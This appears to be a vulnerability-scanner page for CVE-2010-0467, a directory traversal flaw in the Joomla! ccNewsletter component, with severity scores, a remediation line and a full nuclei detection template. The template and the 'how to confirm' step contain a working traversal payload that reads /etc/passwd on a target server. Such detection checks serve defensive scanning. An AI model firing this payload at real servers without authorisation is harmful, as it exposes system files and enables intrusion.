Joomla! Component CCNewsLetter - Local File Inclusion

mediumseverity

5.8CVSS score

43.3%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the ccNewsletter (com_ccnewsletter) component 1.0.5 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter in a ccnewsletter action to index.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.

Fix

Apply all relevant security patches and upgrades.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_ccnewsletter&controller=../../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-0467 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-0467

info:
  name: Joomla! Component CCNewsLetter - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the ccNewsletter (com_ccnewsletter) component 1.0.5 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter in a ccnewsletter action to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.
  remediation: Apply all relevant security patches and upgrades.
  reference:
    - https://www.exploit-db.com/exploits/11282
    - https://nvd.nist.gov/vuln/detail/CVE-2010-0467
    - http://www.chillcreations.com/en/blog/ccnewsletter-joomla-newsletter/ccnewsletter-106-security-release.html
    - http://www.exploit-db.com/exploits/11277
    - http://www.exploit-db.com/exploits/11282
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
    cvss-score: 5.8
    cve-id: CVE-2010-0467
    cwe-id: CWE-22
    epss-score: 0.43296
    epss-percentile: 0.98736
    cpe: cpe:2.3:a:chillcreations:com_ccnewsletter:1.0.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: chillcreations
    product: com_ccnewsletter
  tags: cve2010,cve,joomla,lfi,edb,chillcreations,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_ccnewsletter&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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